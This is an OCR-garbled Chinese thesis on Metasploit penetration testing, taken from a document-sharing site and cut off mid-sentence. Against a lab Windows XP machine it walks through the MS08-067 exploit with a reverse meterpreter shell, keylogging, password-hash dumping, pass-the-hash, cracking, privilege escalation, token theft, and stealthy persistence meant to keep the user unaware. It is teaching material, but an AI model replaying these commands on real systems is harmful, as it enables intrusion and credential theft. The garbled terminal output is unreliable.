版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、metasploit渗透测试实例分析摘 要:随着信息技术的飞速发展,信息安全的概念也在逐步深入人心。为了更好的保护用户信息,提高系统的安全性,渗透测试技术应运而生。简而言之,渗透测试就是模拟黑 客的技术手段去检测系统的安全性。本文选择metasploit渗透测试框架为平台,阐述了metasploit 框架的内容,详细讲解了不同界面下 metasploit渗透框架的使用方法,详细讲解了metasploit的所用功能和参数。然后,本文以实际操作为基础,讲解怎样通过查找的漏洞进行对目标主机攻击来获得meterpreter shell 。成功获取meterpreter shell之后就可以通过 met
2、asploit 一些基本的 命令来收集更多的信息,以便达到对目标主机的长期控制和不被用户察觉。关键词:渗透;metasploit ; meterpreter shell 。metasploit penetration testing example analysisabstract: with the rapid development of information technology, information security is gradually becoming more popular. in order to protect user information and to im
3、prove system security, penetration testing techniques have emerged. in short, penetration testing is a technology that simulates the means of hackers to check the security of a system.paper chooses metasploit penetration testing framework as a platform to explain the contents of the metasploit frame
4、work, a detailed account of the use of different interfaces under the metasploit penetration framework metasploit explained in detail by using the function and parameters. then, the paper-based practice, explain how to find loopholes through the target host attack to get meterpreter shell. after suc
5、cessfully obtaining meterpreter shell can to collect more information through metasploit some basic commands in order to achieve long-term control of the target host and are not aware of the user.key words : permeation; metasploit; meterpreter shell.第一章引言 1第二章概述 12.1 metasploit!架 12.2 渗透测试 22.2.1 概念
6、 22.2.2 方法论 32.2.3 框架 4第三章模拟渗透测试实例分析 53.1 前期交互 53.2 情报搜集 53.3 攻陷 windowsxp系统 63.3.1 使用nampb描 63.3.2 获取xp_cmdshell 73.3.3 meterpreter 基本命令 73.3.4 获取键盘记录 83.4 挖掘用户名和密码 93.4.1 提取密码哈希值 93.4.2 使用meterpreter命令获取密码哈希值 103.5 传递哈希值 103.6 johnthe rpper破解密码 113.7 权限的提升 123.8 令牌假冒 133.8.1 使用 ps 133.9 使用 meterpr
7、eter本 153.9.1 迁移进程 163.9.2 关闭杀毒软件 163.9.3 查看目标主机的所有流量 163.9.4 控制的持久化 163.9.5 隐藏踪迹第四章总结致凝日1718错误!未定义书签。错误!未定义书签。参考文献1第一章引言随着网络安全越来越受到人们的重视,渗透测试作为最真实反应信息系统所 存在的安全风险的一种手段,越来越多地受到大批研究者的关注。自从 2003年 著名黑客hdmoore开发出了 metasploit,这就使得攻击没有了以前繁杂的过程; metasploit框架集成了数百个针对主流操作系统平台上,不同网络服务与应用 软件安全漏洞的渗透模块,本篇文章就介绍利用这
8、个渗透测试框架软件来对目标 系统实施远程攻击,获取系统的访问控制权。并利用meterpreter脚本进行对目 标主机的持久化的控制且不让用户所察觉。第二章概述2.1 metasploit 框架metasploit framework (msf是一个为渗透测试、shellcode 编写和漏洞 研究的平台,同时也是创建安全工具和漏洞研究的开发平台, 它集成了各平台上 常见的溢出漏洞和流行的攻击代码,并且不断更新, msf包含了 400多种当前 流行的操作系统(如 aix、bsdi、freebsd irix、hpux、linux、osx solaris、 unix、windows等)和应用软件的漏洞
9、,以及 1003个攻击代码,165个攻击后 代码,262个攻击利用代码,28个编码器,563个辅助模块。采用ruby语言开 发,具有很好的扩展性。框架由库、接口和模块组成,如图 2.1所示。图2.1 metasploit体系框架1)渗透攻击(exploits ):是指由攻击者或渗透测试者利用一个系统、应用或服 务中的安全漏洞所进行的攻击过程,流行的渗透攻击包括缓冲区溢出、 配置错误等;2)攻击载荷(payloads):是目标系统在被渗透攻击之后执行的代码,在 框架中可以自由地选择、传送和植入;3)模块(module):是指框架中所使用的一段软件代码,可以是一个渗透攻击模块,也可以是一个辅助模块
10、,是整个 metasploit 框架的核心;4)用户接口( intefaces ): metasploit 框架提供攻 击向量的同时,也集成了多个用户接口,包括终端、命令行和web图形界面,其中msf终端(msfconsole)是目前框架最为流行的用户接口,也是最灵活、 功能最丰富以及支持最好的接口;5)基础库(rex):是框架的最基本的库,实现了网络套接字、大多数网络协议、文本转换、加密、编码等基本功能;6) msf: core和msf: base :提供基本api ,为框架其他组件定义了函数接口;7)插件(plugins ):为第三方软件开发和集成提供软件接口,直接通过api与框架本身进行
11、数据交换。2.2 渗透测试2.2.1 概念渗透测试(penetration testing , pentest)是通过模拟恶意黑客的攻击行 为,结合测试者自身的经验来评估计算机网络系统安全的一种评估方法,检验目标系统的安全性弱点,为网络的加固和信息的保护提供方向。 渗透测试类型包括 3种:白盒测试、黑盒测试和灰盒测试。(1)白盒测试:当渗透测试小组可以接触到网络拓扑结构图、 信息资产数 据以及其它有用的信息时,这种测试被称为白盒测试。在时间紧急、 预算紧张以 及授权测试的时间较少时通常会采用这种测试类型。 但是这种类型的测试与实际 的黑客攻击相差甚远;(2)黑盒测试:在渗透测试小组没有给予任何
12、信息时,这种测试通常称为 黑盒测试。实际上,在进行这种测试时,渗透测试小组可能只知道目标公司的名 称。有些时候,还可能知道目标的ip范围以及其他一些参数,从而减少伤及无 辜的可能性。这种类型的测试与实际的黑客攻击场景最为接近,结果也最有意义;(3)灰盒测试:介于白盒测试和黑盒测试之间的一种渗透测试类型,渗透测试 小组只知道必须要知道的信息。之后,他们从外入内,逐渐允许访问更多的信息, 从而加快测试进程。这种测试通常能够在结果的有效性以及预算之间实现最佳的均衡2.2.2 方法论渗透测试方法论用于定义在任何信息安全审计时,应参照和遵循的一系列规 则、实践、流程和方法。当前,为了满足安全评估的需要,
13、已经开发了很多的渗 透测试方法论,以下为4种比较有名的方法论。(1) nist sp800-11 (5technical guide information security testing, 信息安全测试技术指导方针),是美国国家标准和技术研究所发布的关于安全测 试技术的一份指导性文件。该文件提出了一个四个阶段的渗透测试模型,即计划、挖掘、攻击和报告,并且在挖掘过程中提出了动态的反馈攻击挖掘过程,通过这一过程将挖掘和攻击动态联系起来,非常适合实际的渗透工作。(2) issa (finformation systems security assessment framework , 信 息系统
14、安全评估框架),是一个开源的安全测试和分析框架。该框架分类成数个 域(domain),按照逻辑顺序进行安全评估。其中的每一个域都会对目标系统的 不同部分进行评估,每个域的评估结果组成一次成功的安全评估。通过在目标组织的日常业务生命周期中集成issaf框架,可以准确、完全、有效地满足其安全测试需求。issaf主要关注安全测试的两个领域:技术和管理。在技术和管理 两个领域实现了必要的安全控制, 填补了这两个领域之间的空白。它使得管理者 能够理解存在于组织外围防御体系中的潜在安全风险,并通过找出那些可能影响业务完整性的漏洞,来主动地减少这些风险。(3) osstm mthe open source
15、security testing methodology manual , 开源安全测试方法手册),是一个被业界认可的用于安全测试和分析的国际标准, 在许多组织内部的日常安全评估中都使用该标准。它基于纯粹的科学方法,在业务目标的指导下,协助审计人员对业务安全和所需开销进行量化。从技术角度来看,该方法论可以分成4个关键部分,即范围划定(scope)、通道(channel)、 索引(index)和向量(vector)。“范围划定”定义了一个用于收集目标环境中 所有资产的流程。一个“通道”代表了一种和这些资产进行通信和交互的方法, 该方法可以是物理的、光学的或者是无线的。所有这些通道组成了一个独立的
16、安 全组件集合,在安全评估过程中必须对这些组件进行测试和验证。这些组件包含了物理安全、人员心理健康、数据网络、无线通信媒体和电信设施。“索引”是一个非常有用的方法,用来将目标中的资产按照其特定标识(如网卡物理地址、 ip地址等)进行分类。最后,一个“向量”代表一个技术方向,审计人员可以 在这个方向上对目标环境中的所有资产进行评估和分析。该过程建立了一个对目 标环境进行整体评估的技术蓝图,也称为审计范围( audit scope )。osstmm 法论定义了 6中不同形式的安全测试,包括盲测(blind )、双盲测试(double blind )、灰盒测试(gray box )、双灰盒测试(do
17、uble gray box )、串联测试 (tandem、反向测试(reversal)。(4) pte (sthe penetration testing execution standard ,渗透测试执 行标准),是安全业界在渗透测试技术领域中正开发的一个新标准,目标是对渗 透测试进行重新定义,新标准的核心理念是通过建立起进行渗透测试所要求的基 本准则基线,来定义一次真正的渗透测试过程,并得到安全业界的广泛认同。该标准将渗透测试过程分为前期交互、 情报搜集、威胁建模、漏洞分析、渗透攻击、 后渗透攻击、报告七个阶段。2.2.3 框架随着网络攻击技术的发展,少数网络安全专家根据自己所积累的经验
18、开发了 渗透测试框架,以利于渗透测试的执行和研究,以下是 3种流行的框架。1) canvas,是immunitysec出品的一款安全漏洞检测工具,包含 150多个漏洞利 用和操作系统、应用软件等大量的安全漏洞。可用于对ids和ips的检测能力的测试。发布和更新周期一般为1年。该软件用python开发,可运行于windows 和linux平台,支持第三方插件和攻击代码开发,由攻击模块、trojans模块、命令模块、dos模块、tools块、recom模块、servers1块、importexport 模块、fuzzers 模块、configuration 模块、listener shells等模
19、块组成,目前为商业产品。2) core impact ,是coresecurity公司出品的渗透测试引擎, 只能运行在 windows平台下,具备远程信息获取、攻击渗透、本地信息获取、 权限提升、清除日志、生成报告能力,拥有自动扫描功能,支持多级 agent渗 透测试模式,并具备通过 agent自动清理攻击现场,恢复到攻击前的状态。相 对canvas, impact1一个自动化比较高的渗透测试平台,但其价格相当昂贵。3) metasploit,是hd moore于2003年发布,最初采用perl编程语言开发, 到版本3.0时,改为采用ruby编程语言,重写了全部框架代码。metasploit有
20、3 种用户接口,控制台(msfconsole )、命令行(msfli )和网页(msfweb) 交付接口,其中控制台是功能最全,也最稳定和最广泛使用的操作接口。目前采用gpl和artistic license两种版权模型发布,目前是三个渗透测试平台中唯一可以自由使用和二次开发的平台,如图 2.2所示。librariks1nterschsrooi splugins图2.2第三章模拟渗透测试实例分析3.1 前期交互规划是前期交互阶段的第一个步骤。在一次真正的规划过程中,需要利用像 社会工程学、无线网络、互联网查询或内部的攻击渠道,来规划出攻击的潜在目标对象和主要采用的攻击方法。 与一次实际的渗透测
21、试不同的是,我们这里并 不是针对一个特定的组织或一组系统,只是对我们己知的虚拟机靶机来进行一次 模拟的渗透测试。在这次模拟渗透测试中,我们的目标对手在防护部署在 上metaspoitable 虚拟机(使用用户 名和口令均是 msfadmin 可登录 metasploitable, 并对其ip进行配)。metasploitable 是一台只连接了内网, 并在防火墙保护之后,没有直接连入互联网的主机。而我们的windows xp靶机配置在 ip地址上直接连接互联网,也是在防火墙保护后(开启了endows firewall),只开放了 80 端口。3.2
22、情报搜集情报搜集是在渗透测试过程中最重要的环节之一,因为如果你在这里忽略了 某些信息,你可能会失去整个攻击成功的可能性。 我们在这个环节中的目标是了解将要攻击的目标系统,并确定如何才能够取得对系统的访问权。首先开始如下对我们的windowsxp靶机进行一个基本的nmap命令扫描,可 以发现开放的端口,并寻找可以进行漏洞利用的端口。在这里使用nmap命令的隐蔽tcpb描,这种扫描技术通常能够在不会触发报警的前提下扫描出开放的端 口。大多数入侵检测系统与入侵防御系统都可以检测端口扫描,但由于端口扫描在互联网上是如此普遍,所以它们往往会将其作为常规的互联网流景噪音而忽 略,除非你的扫描非常野蛮。3.
23、3 攻陷 windows xp系统3.3.1 使用namp扫描我们使用nmap(nmap-script=vuln )命令对目标进行扫描,以识别开放的服务,寻找可以利用的漏洞,如图 3.1所述:file edit view terminat helpportstate service25/tcpopen smtp| smtp-vuln-cve201q-4344:the skip server is not exim; not vulneftablei smtp-vuln-cve2ei1-172s;j postfix cyrus sasl (cve-2s11-17291:au
24、thentication is not available83/tcpopenhttphttp-trace:trace is enabled135/tcpopeninsrpc139/tcpopennetbios-ssn443/tcpopenhttps445/tcpopenmic rosoft-ds777/tcpopenmultiling-httplb25/tcpopennfs-or-iis /1433/tcpopenms-sql-s6002/tcpopenxll:27dgl/tcpopenafs3- callback7002/tcpopenafs3 *prservermac address:
25、99;53:56;29:7d:b3 (vare)postfix cyrus sasl authentication: not vulnerablehost script results:smb-check-vulns:l_ msea-e67: vulnerablenmap done: 1 ip address (1 host up scanned in 29.00 seconds图3.1通过端口扫描可以看到,系统开放了一些端口,扫描结果中可以看到了一个漏洞 ms08-067。这就 意味着我们可 以利用这个漏洞 来去的目标 系统的 meterpreter shell3.3.2 获取 xp_cmd
26、shell首先在控制台执行 msfconsole 启动 metasploit ,输入命令search ms08-067,如下图可得改漏洞的信息:为了在系统中注入攻击载荷,我们需要与xp_cmdshell进行交互,添加本地 管理员,并通过一个可执行文件来植入攻击载荷。在 metasploit中已经有这个 模块(ms08_067_netapi),可以通 xp_cmdshell 来植入任意的 metasploit 。接 下来我们使用该模块输入命令use exploit/windows/smb/ms08_067_netapi 进入模块之后通过show options来显示该漏洞的基本信息,以及要设置的
27、参数: 如图3.2所示& automatic targeting图3.2输入命令 set rhost , set lhoat ,set payload windows/meterpreter/reverse_tcp(指定想要使用的攻击载荷),在此使用showoptions命令来查看是否设置好,执行exploit命令进行攻 击。我们可以看到此时已经渗透成功了,如图 3.3msf a use explcit/wirrinws/smtj/msgb g67_netapimsf exploit -508 067 pi) set rhost 192.166.1
28、8rhost = 192.160.1.msf exploit(hsos 067 netepi) set ihot 192.168.19utqst = 192,168,1.9_inm f exploit (: spt palcad wirdows/meterpretertreverse tcppajoad windows/iieterpreter/reersa_-tcp exploit- started reverse handler an 192.168 1-9:4444* automatically detecting the target.f*i fingerprint: windows
29、xp - service pack 3 - lang:english* selected target: windows xp sp3 english (nx)* attempting to trigger the vulnerability.,* sending stage (752128 bytes) to * meterpreter session 1 opened (192,168,1.9:444 - 192,160.1,8:1631 at z613-1 1-a3 白4:38二ie -白5电白reiete口图 meterpreter 基本命令成功入
30、侵系统并获得系统得meterpreter回话之后,我们可以利用一些基本 的meterpreter命令,来收集更多的信息。在任意位置使用 help命令都可以得 到如何来使用meterpreter的帮助信息1、截屏meterpreter 的screenshot命令可以获取活动用户的桌面截屏并保存 /root/ofoaxivy.jpeg 目录,如图 3.4 所示。arh也 rtad1screenshot匕比前讪g.e?savedscreenshot5aved/root/ofoaxly.jpegscreenshot neterpreter |stn60t , imetemreter,mot/j 隼hx
31、xvr.jp时ie target.service pack 3 - lang:english p sp3 english (nx) vulnerability.1 to 192,16818ed (192,18.1.9:4444 - 192.1v x rootbt: file edit view temntnal helpi* automatically detecting * fingerprint: windows xp * selected target: windows * attempting to* sending stage (7.52128 by(* mp=n+l %41口l1一
32、3 l-03 04:46:99 -65m图3.4桌面截屏是获取目标系统信息的一个重要途径。可以看到目标系统是否在运行杀毒软件,如果有杀毒软件,上传东西到系统的时候要格外的小心。2、sysinfo这个命令可以获取系统运行的平台。如图 3.5所示。m启t叁t口后t2t sysinfocomputeri dh migrate 2840* migrating to 2840.4 migration completed succesfully.图3.7执行ps命令获得了包括explorer.exe在内的进程列表。我们使用migrate 命令将回话迁移至explorere.exe 的进程空间中,之后启动k
33、eylog_recorder模 块。一段时之后使用ctrl+c终止,最好,在另一个终端里,可以看到我们使用windowsxp (build 2660, service pack 3).architecture:x8日system language :en u5meterpreter:x36/win32nietp口reter |图3.5从以上信息可以看到,操作系统是 windows xp (build 2600, service pack3) , sp3有很多已知的漏洞。只需要用命令查找即可。3.3.4获取键盘记录现在我们需要获的系统的密码,可以使用破解或攻击的方法,也可以在远程 主机上进行键盘
34、记录。但在此之前,还是让我们用 ps命令类来获得目标系统的 正在运行的进程。如图3.6与3.7所示。1136 wscntfy.exe x3&s dh ca8822a0g5fi9xjjlt:wlndowss1ein32wscnt.exe2849explorer.exexs6白dh ca0e22ab95s9xjjcawindowsvexpurer.exe2924icolite.exex3&qdh ca0fl22afl95fl3xic:program ftlesicqlite图3.6键盘记录所捕获到的内容。如图 3.8所示口仇内4缈#1快前品4第】6至 b 8_host ,windows hq5t
35、windowskeystroke log started at 2q15-11-s3 05:24:39 -s50fi xj j tab xj j eterdne run post/window5/capture/keylog_recorder* executing module again式 dh-ca8s22ab9589() starting the keystroke sniffer.,* keystrokes being saved in tc? /root/,msf4/voot/20 151163052439 default 192,1e8,1 r6_hast,windows .key
36、_305538rtj(t() recording keystrokes.图3.83.4挖掘用户名和密码在先前的例子中我们通过键盘记录获取用户输入得到密码。如果不使用键 盘,同样也可以用meterpreter来获取系统本地文件中的用户名和密码哈希值。3.4.1 提取密码哈希值本次攻击使用meterpreter中的hashdump!俞入模块,来提取系统的用户名 和密码哈希值。微软windows系统存储哈希值的方式一般为 lanmanager(lm)、 nt lan manager (ntlm),或 nt lan manager v2 (ntlmv2)。例如,在lm存储方式中,当用户首次输入密码或更
37、改密码的时候,密码被 转换为哈希值。由于哈希长度的限制,将密码切分为7个字符一组的哈希值。以passwordl23456的密码为例,哈希值以passwor和dl23456的方式存储,所以攻击者只需要简单地破解7个字符一组的密码,而不是原始的14个字符。而 ntlm勺存储方式跟密码长度无关,密码passwordl23456将作为整体转换为哈希 值存储。如下内容是我们提取的uid为500的administrator用户账号的密码哈希值 (windows 系统默认管理员为 administrator) 。administrator:500 后的字串是 administrator 密码的两个哈希值。如
38、图3.9所示。meterpreter hashdumpadnlnist rat or:5 bb w fcei64ab92icaas d3 m3 5 bsi464ee:32&i3ibd b 5 fd c5e9ba8854737&31sd4:aspnet:10fl6:2fac6352ba92bbsd4ba6368d22022b73:e731s924ccdf6fcd9f6b3e33dad6eb62:guest:501:aad3b435b514e4eeaad3b435b514e4ee:31d6cfeedh6ae931b73c59d7eece89c&:helipa&i5tant;ieo0:32f8428
39、45a64fl7ccbe6blfl315169b7e:83789cod8506a618d815fd9c6fb379ek :iusr dh-ca8a22ab9589?:16e3:de8b8cece54052bbbab2d451a3e&lb56:145f992fasff1253ft152fif8e27419cfid::twah dhca8822ab95b9r:1664:99b05d30alfcbd6ea4ae31c7bc961352:2f950167d2942f7c977fdfdlb57b8a59:support 388945ao;10o2:aad3b435b514q4eeaad3b435b514
40、94ee;bb5a5a239a6e521be591fdfo91bo5)13:i:xj j ; 1985:94f9aeaad3b435b514&:(jd3758fse712dl&klcd45b5615ei817 3 i : mete日日ter 图3.9第一个哈希是lm哈希值,第二个则是ntlm合希值接下来我们将从自己的 windows xp系统上提取用户名和密码哈希值。3.4.2 使用meterpreter命令获取密码哈希值在目标系统上重置一个复杂的密码,如thisisacrazylongpassword&!# , 然后使用meterpreter 重新获取目标系统上的用户名和密码哈希值(见之前的
41、 代码)。我们使用use priv命令,意味若运行在特权账号上。获取安全账号管理器(sam数据库,我们需要运行在 systems限下,以绕 过注册表 的限制,获取受保护的存有 windows用户和密码的sam存储。请尝试 在实验虚拟机上执行这个场景,来看看你是否能提取到用户名和密码哈希值。下 面的过程演示了我们使用hashdiunp命令获取系统所有的用户名和密码哈希值。 如图3.10所示。界ete口 run post/windaws/gather/hashdump* obtaining the bgt 抬y,* calculating the hboot key using sy5key 7b
42、es39f4mcab29c3a4bfe24d47335f.* obtaining the user list anti keys.- decrypting user keys.,* dumping password hashes* r radhiinistrat0r:5ee: aad3b435b51404ceaad3b435b51404ee:43f5b434c37aa2f2a26bf43fe6044bc9:1:图 3.10以aad3b435 开头的哈希值是一个空的或不存在的哈希值一一空字用的占位 符(就像administrator:500:nopasswd:ntlm 哈希也为空一样)。由于密码
43、超过14字 节的长度,windows不能将其存储为lm形式,所以存储为aad3b435的字串,代 表空的密码。3.5 传递哈希值在前面的例了中,我们遭遇了一点小麻烦:我们已经提取到管理员用户的用 户名和密码哈希值,但我们不能在可接受时间内将明文密码破解出来。如果不知道明文密码,如何通过这个用户账号登录到更多的主机,入侵更多的系统呢?这里将用到哈希值传递技术,仅仅有密码的哈希值就够了,而不需要密码明 文。用metasploit 的/windows/smb/psexec的模块就可以实现,如图3.11所示。msf exploit (msob_b67_netapi) use windows/smb/p
44、sexfic _ _ _ m$f exploit (psextc) set pa load wi ndcws/ ne te rp rettt/re ve rse paload = windows/meterpreter/reverse tcpmsf exploit (pxec) * ihost = m5.f exploit(pc.jut) iport = 443msf exploit(i -:.gcc) rhost = 19, 168.1.8 msf exploit (pxae) smbpass =msf xpl oicfp &,setsetsetihosti port
45、rhost192,168.1.9443192.168.1.bset 5mbpa$s aad3b435b5l404eea占d3b435b51404ee:43f6h434c37aa;f2a;6bf43fs6b44bc9:smbpass 。 aati3b435b51404e&aad3b435b514e4e&:43f6b434c37a32f2a26bf43fo6844bc9;3 msf exploit(pekec) exploitf*j started reverse hafldler on j9?一附一 1,9:的3* connecting to the server.(*1 authenticat
46、ing to 132am.i.e:4451workgroup as user ,f- exploit exceptioni login failed: the server responded with error: status logon failure (comma 2=115 wordcount-0)exploit completed, but no sessjion was created.图 3.11选择smb/psexec模块设置好lhostlport口 rhos萼参数之后,将smbpass 变量设置为先前获得 的密码哈希值。如果看到认证通过了,我 们获得了meterpreter
47、会话。这里我们没有破解密码,也不需要明文密码,仅仅使用密码 哈希值就获得了管理员权限。这是个失败的例子,但是如果有人登陆了这台机器,使用了它的sme务,而我们设置的smbpass(这是在其它地方找到的hash)命中,就ok 了。如果成功入侵了某大型 m络中的一台主机,在多数情况下,这台主机的管理 员账号与其他大部分系统的应该一样。这样我们就可以无须破解密码,就能够实 现从一个节点到另一个节点的攻出。3.6 john the ripper 破解密码john the ripper是一款开源的,集成多个解密算法的,对 unix/linux (当 然也可以 win)弱口令密码的破解,幸好 msf集成这
48、个软件。使用( use auxiliary/analyze / jtr_crack_fast )这个命令来破解密码,如图 3.12、3.13 所示。ib/libssexploit : 1) auxiliary( jtr cse auxiliary/anaiyze/jtr crack fast fast) exploit图 3.12+ cracked: xjj:123456 (:445)+ cracked: administrator:123 (192,168.1.8:445)+ cracked: guest: (:4451*! auxiliary m
49、odule execution completedauxiliary (; 小 :)11图 3.133.7 权限的提升现在我们获得了目标系统的访问权限,可以通过 net user命令创建限制权 限的普通用户账号。我们将示例讲解如何创建新的用户并对其权限进行提升。如果以受限用户账号登入,将会被限制执行需要管理员权限的一些命令,对账号进行提权 可以克服这类问题。在windows xp的目标机上输入以下命令:net user bob password123 /add然后,我们创建一个基于 meterpreter攻攻击载荷程序payload.exe,复制 到目标xp机上,并在bob用户账户下运行,这是
50、我们新建立的受限用户账号。 在这个里,我们使用攻击载荷生成器(msfpayload)来创建以普通windows可执 行文件格式的 meterpreter攻出载荷程序payload.exe 。创建meterpreter攻击载荷时,我们所设的lhosv口 lpor惨数指示了反向 shell连接到攻击机地址和端口 443。随后我们调用msfbli接口进行监听并等待 连接,当有连接到达的时 候,将会开启meterpreter的shell。在攻击机上创建meterpreter可执行程序,复制到 windowsx阚上,然后以 bob用户运行。我们设置监听以接收meterpreter 连接,然后在目标系统上
51、执行 payload.exe,得到一个受bm用户的meterpreter 控制台.例如,我们可以在back|track机上生成payload.exe拷贝到 windows xp机上,然后设置监听以获 得 meterpreter 会话。nuctee白ter shell process 2848 created. channel 1 created.microsoft windows xp version 5.1.260g (c) copyright 1985-2991 microsoft corp.c:windowssy&ten)32net user bob net user bobuser n
52、amebob图 3.14local group memberships*usersglobal group memberships*none图 3.15在图3.15显示的过程中,我们用meterpreter会话进入到shell ,输入net12user bob,可以看到bob用户在users的组里面,不是管理员,只拥有受限的权 限,如图3.14所示。在这个账户环境下,我们的攻击范围是受限的,不能进行 特定类型的攻击,比如无法提取sam数据库获得用户和密码哈希值(幸运的是,meterpreter 可以克服这样的困难,等下你就可以看到)。查询完毕后,按 ctrl-z键退出shell并保留meter
53、preter会话。现在让我们来获取管理员或 systems限。我们输入use priv命令来加载 priv扩展,以便访问某些特权模块(这些模块可能已经加载 )。然后输入 getsystem命令尝试将权限提升到本地系统权限或管理员权限。可以输入getuid命令来检查获取的权限等级。服务端用户名返回的是nt authoritysystem意味着我们成功获得了管理员权限。如图 3.16所示。met比把 use privl- the priv extension has already been loaded.唯teweter getsystem.got system (via technique 1
54、).帕tewet仃 getuidserver username: nt authoritysystemmetemetc |图 3.16我们可以使用rev2setf命令,切换回meterpreter shell会话中的初始用户账号。3.8 令牌假冒在令牌假冒攻击中,我们将攫取目标系统中的一个 kerberos令牌,将其用 在身份认证环节,来假冒当初创建这个令牌的用户。令牌假冒是 meterpreter 最强大的功能之一,对渗透测试非常有帮助。设想以下的场景,比方说:你正在对某个组织进行渗透测试,成功地入侵了 系统并建立了一个meterpreter的终端,而域管理员用户在12小时内登录过这 台机器
55、。在该用户登入这台机器的时候,一个 kerberos令牌将会发送到服务器 上(进行单点登录)并将在随后的一段时间之内有效。你可以使用这个活动令牌 来入侵系统,通过meterpreter你可以假冒成域管理员的角色,而不需要破解他 的密码,然后你就可以去攻击域管理员账号,甚至是域控制器。这可能是获取系统访问最简便的方法。3.8.1 使用 ps在这个例子中,我们使用meterpreter的ps命令列举当前运行的应用程序以及运行这些应用的用户账号。我们所在域的名字是dh-ca8822ab958瞅管理员用户名 administrator 。如图3.17所示。2912 cmd,exe ex861oh - c a8s2 2 ab95admi n i 51 rat r t:hwindows5tex图 3.17如下所示,我们使用steal_token 2912
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- GB/T 47212.3-2026家畜遗传资源保种场保种技术规范第3部分:牛
- 新能科技利用推动承诺书6篇
- 根治性肝癌肝叶切除术后护理查房
- 教育培训项目完成承诺书8篇
- 人力资源招聘流程与工具清单
- 项目交付质量控制模板系统
- 2026年安徽省蚌埠局属校初三第二学期第3次练考英语试题含解析
- 云南省曲靖市重点名校2026届初三第三次质量检测试题试卷英语试题含解析
- 上海市浦东区重点中学2026届初三下学期5月热身英语试题含解析
- 2026年上海浦东第四教育署初三第六次质检语文试题含解析
- 养成教育六行动
- 高一下期《化学必修第二册》实验课计划
- 手工焊锡知识培训课件
- 摄像头基础知识
- 融媒体语境下河南卫视文化节目品牌建设浅析
- Supplier-Audit-Check-List半导体芯片制造企业供应商审核清单
- 电机轴承知识与润滑知识
- 高考生物选择性必修1稳态与调节基础知识填空默写(每天打卡)
- DL-T5461.1-2012火力发电厂施工图设计文件内容深度规定第1部分:总的部分
- DL-T976-2017带电作业工具、装置和设备预防性试验规程
- 2024小升初语文复习 名著阅读《三国演义》(知识点+练习)学生版+解析版 (二)
评论
0/150
提交评论